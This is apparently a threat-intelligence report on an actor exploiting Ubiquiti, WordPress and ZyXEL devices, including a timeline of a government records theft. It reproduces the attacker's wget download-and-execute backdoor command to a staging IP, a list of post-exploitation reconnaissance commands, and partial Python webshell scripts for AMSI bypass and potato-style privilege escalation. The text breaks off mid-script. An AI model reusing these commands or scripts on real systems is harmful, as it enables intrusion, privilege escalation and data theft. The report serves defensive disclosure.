Open Season on Kapibala: Attacker Steals Over 18,000 Government Records Through WordPress Exploitation

— Read Analysis

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of an IP address since early June 2026 due to its frequent use in scans and attacks against a variety of technologies. We are withholding the exact IP address due to victim sensitivities and operational risk. Once these factors have been mitigated, GreyNoise will publish an update.

While numerous adversaries have commonalities, adversary behavior is not monolithic. One security opinion is that adversaries rotate through IP addresses such that blocking them is a fruitless endeavor. This may be true in certain situations, but we have observed several cases where it is not. GreyNoise has observed one particular IP address scanning and attacking our decoys for multiple years, however, we are confident that activity from 7 May 2026 onwards is associated with a single malicious cyber actor (MCA). This MCA is a suspected Chinese speaker possibly working in UTC+8 based on the operational timeline and copious amounts of Chinese language comments contained within their custom tools and scripts. The adversary is the same or related to “Red Heron” reported on by Acronis based on use of the same command and control (C2) domain, malware family, exploitation of Gitea in July, and other tactics, techniques, and procedures (TTPs). GreyNoise observed the MCA scanning and attacking a variety of technologies throughout the last few months. We detail a few of the more notable intrusions we observed including the theft of more than 18,000 sensitive records from a western government. Though we did not identify any specific artificial intelligence tools in use, GreyNoise suspects the MCA used a large language model (LLM) to generate their custom tools due to behavior patterns found in the code, the rapid iteration, and code comments. For example, between iterations of the same tool, some code functionality did not meaningfully change, but the actual content did:

These types of superficial changes are generally a waste of time for a human and a strong indicator the code was likely generated by a LLM.

In addition to the above findings, GreyNoise discovered the MCA targeted ZyXEL GS1900 Smart Managed Switches globally with a novel exploit of CVE-2026-7273. As of 17 September 2026, this is the first publicly documented case of exploitation in the wild of this vulnerability, which is also not on the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) catalog at the time of publication. The MCA successfully exploited and exfiltrated sensitive data from 996 ZyXEL switches across 48 countries.

These observations and others are derived from data sourced from the GOG and adversary infrastructure.

Exploitation Timeline

Ubiquiti UniFi OS

On 12 June, the adversary attempted to exploit a chain of vulnerabilities (CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910) to achieve remote code execution (RCE) against unpatched Ubiquiti devices. These vulnerabilities were added to the CISA KEV catalog on 23 June. The adversary attempted to coerce the targeted devices to download and execute a backdoor from a separate staging server:

wget http://74.48.66.73:9860/ssh -O /tmp/ssh && chmod +x /tmp/ssh && sudo -n chmod u+s /bin/bash && bash -p -c /tmp/ssh

The adversary made another attempt using a different URL on 15 June:

https://www.[redacted].com.tw/[redacted]/ssh

This URL appears to be compromised infrastructure associated with a Taiwanese manufacturing company. In the first round of exploitation using 74.48.66[.]73, a malicious backdoor (2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1) was delivered to targets. This backdoor used p3.981666[.]xyz:6379 to establish a C2 channel.

WordPress

On or about 20 July, the adversary began targeting WordPress installations with the wp2shell exploit chain (CVE-2026-63030 and CVE-2026-60137). Unfortunately, they found success against at least 49 organizations across 29 countries primarily in small business and governmental sectors. In a red-on-red incident, the adversary also compromised a Russian state entity in Russia-occupied Ukraine. The most egregious data theft occurred against an identified western governmental organization involving more than 18,000 sensitive records stolen from its backend database. The following timeline describes that intrusion and is reconstructed using file modification timestamps which were preserved. Exact times may differ from an official forensic investigation.

WordPress Intrusion Timeline

2026-07-22T01:27:00Z: MCA uses a custom WordPress exploit chain for CVE-2026-63030 and CVE-2026-60137 against the target, and deploys a custom webshell.

2026-07-22T01:38:29Z: MCA dumps the WordPress user table; 13 WordPress administrator accounts stolen.

2026-07-22T01:48:38Z - 02:05:11: MCA logs into wp-admin, adds a new account that masquerades as a valid @victimdomain email account and changes the account user_registered date to a day in 2025 in order to blend into the site’s legitimate account history.

2026-07-22T02:09:58Z: MCA uploads a custom information collection plugin to enumerate the WordPress install end to end.

2026-07-22T02:22:36Z: MCA uses previously uploaded webshell to conduct reconnaissance and the remainder of the intrusion.

powershell -c "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,IoavProtectionEnabled,AntispywareEnabled,BehaviorMonitorEnabled | Format-List"

dir C:\\Windows\\Microsoft.NET\\Framework64\\v4* /b

certutil -hashfile C:\\Windows\\System32\\cmd.exe MD5

powershell -c "(Get-MpComputerStatus).AMProductVersion"

echo test123 > %TEMP%\\test_write.txt && type %TEMP%\\test_write.txt && del %TEMP%\\test_write.txt

net user

powershell.exe -NoProfile -Command "try{$s=Get-MpPreference;Write-Host RTP:$($s.DisableRealtimeMonitoring);Write-Host Excl:$($s.ExclusionPath -join \",\")}catch{Write-Host ERROR:$_}"

C:\\Windows\\System32\\net.exe user

wmic product where "name like \'%security%\' or name like \'%antivirus%\' or name like \'%defender%\'" get name 2>&1

C:\\Windows\\System32\\inetsrv\\appcmd.exe list site 2>&1

netstat -an | findstr LISTENING

cmd /c "net user" 2>&1

reg query "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring 2>&1

echo OK > C:\\Windows\\Temp\\test_kp.txt && type C:\\Windows\\Temp\\test_kp.txt && del C:\\Windows\\Temp\\test_kp.txt 2>&1

sc query Spooler 2>&1

findstr /i "DB_PASSWORD DB_USER DB_HOST" C:\\inetpub\\Wordpress\\wp-config.php 2>&1

dir C:\\inetpub /b

reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users" 2>&1

reg query "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2" 2>&1

powershell.exe -NoProfile -ep bypass -c "$ExecutionContext.SessionState.LanguageMode"

dir "C:\\Program Files\\MySQL" /b /s 2>&1

sc query type= service state= all | findstr /i mysql

sc qc a5Backup64 2>&1

powershell.exe -NoProfile -ep bypass -c "(New-Object Net.WebClient).DownloadString(\'http://httpbin.org/get\')" 2>&1

2026-07-22T02:31:12Z - 03:07:38Z: MCA uses at least 17 different variations of scripts in an attempt to bypass Microsoft’s Antimalware Scan Interface (AMSI), escalate privileges using Token Impersonation and Theft, create a local administrator account, and dump data from the registry.

#!/usr/bin/env python3

"""

尝试通过PowerShell反射加载GodPotato进行提权

方案：从GitHub下载GodPotato到内存，通过反射加载执行

"""

import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()

ctx.check_hostname = False

ctx.verify_mode = ssl.CERT_NONE

opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

shell_url = "https://[redacted]/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):

url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)

req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})

resp = opener.open(req, timeout=120)

body = resp.read().decode("utf-8", "replace")

m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)

return m.group(1).strip() if m else body

方案1: 尝试用PowerShell内存加载PrintSpoofer

先测试PowerShell是否被AMSI拦截

print("=== Test AMSI ===")

r = run('powershell.exe -NoProfile -ep bypass -c "Write-Host AMSI_OK"')

print(r)

print()

方案2: 直接用PHP的COM对象 (Windows专属)

WScript.Shell可以提权吗？不行，但可以测试

print("=== Test COM WScript.Shell ===")

通过PHP创建一个小脚本来测试COM

php_test = """array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));

$proc = proc_open('whoami /priv', $desc, $pipes);

if($proc){

echo stream_get_contents($pipes[1]);

fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);

proc_close($proc);

}

"""

写到temp然后通过webshell调用

print(run('echo test > C:\\Windows\\Temp\\test_potato.txt && echo WRITE_OK'))

print()

方案3: 最简单 - 直接用certutil下载+执行

但这会被Defender拦。。。

方案4: 用PowerShell的NamedPipe + SeImpersonate做PrintSpoofer风格提权

这是纯PowerShell实现，不需要额外文件

print("=== PowerShell PrintSpoofer (in-memory) ===")

简化版：直接尝试用PowerShell的.NET反射做potato

先试试能不能执行较复杂的PS命令

ps_test = 'powershell.exe -NoProfile -ep bypass -c "$a=[Security.Principal.WindowsIdentity]::GetCurrent();Write-Host $a.Name;Write-Host ImpersonationLevel:$($a.ImpersonationLevel)"'

print(run(ps_test))

print()

尝试用 msbuild 执行C#代码(LOLBin，Defender一般不拦msbuild本身)

print("=== MSBuild available? ===")

print(run('dir C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe 2>&1'))

print()

方案5: 最稳的 - 用MSBuild执行内联C# Potato

print("=== Trying MSBuild Potato ===")

写一个MSBuild项目文件内含C# Potato代码

msbuild_xml = r'''

'''

先写msbuild文件

cmd_write = 'echo ^^^^^ > C:\\Windows\\Temp\\test.proj'

print(run(cmd_write))

print(run('C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe C:\\Windows\\Temp\\test.proj /t:Run /nologo 2>&1'))

print(run('type C:\\Windows\\Temp\\potato_out.txt 2>&1'))

#!/usr/bin/env python3

"""

方案1: ImpersonateLoggedOnUser in-process

获取SYSTEM token后不创建新进程，而是在当前PS进程内impersonate

然后用.NET方法直接执行特权操作

"""

import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()

ctx.check_hostname = False

ctx.verify_mode = ssl.CERT_NONE

opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = ""

shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"

writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):

url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)

req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})

resp = opener.open(req, timeout=300)

body = resp.read().decode("utf-8", "replace")

m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)

return m.group(1).strip() if m else body

def write_file(path, content):

if isinstance(content, str):

content = content.encode()

b64 = base64.b64encode(content).decode()

post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()

req = urllib.request.Request(writer_url, data=post_data,

headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})

resp = opener.open(req, timeout=30)

return resp.read().decode()

PowerShell脚本: 用GodPotato获取SYSTEM token，然后用ImpersonateLoggedOnUser

在当前进程内impersonate，用DirectoryServices.AccountManagement创建用户

ps_script = r'''

$outFile = "C:\Windows\Temp\imp_out.txt"

"[*] Starting in-process impersonation..." | Out-File $outFile

try {

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Add-Type -TypeDefinition @"

using System;

using System.Runtime.InteropServices;

using System.Security.Principal;

public class TokenHelper {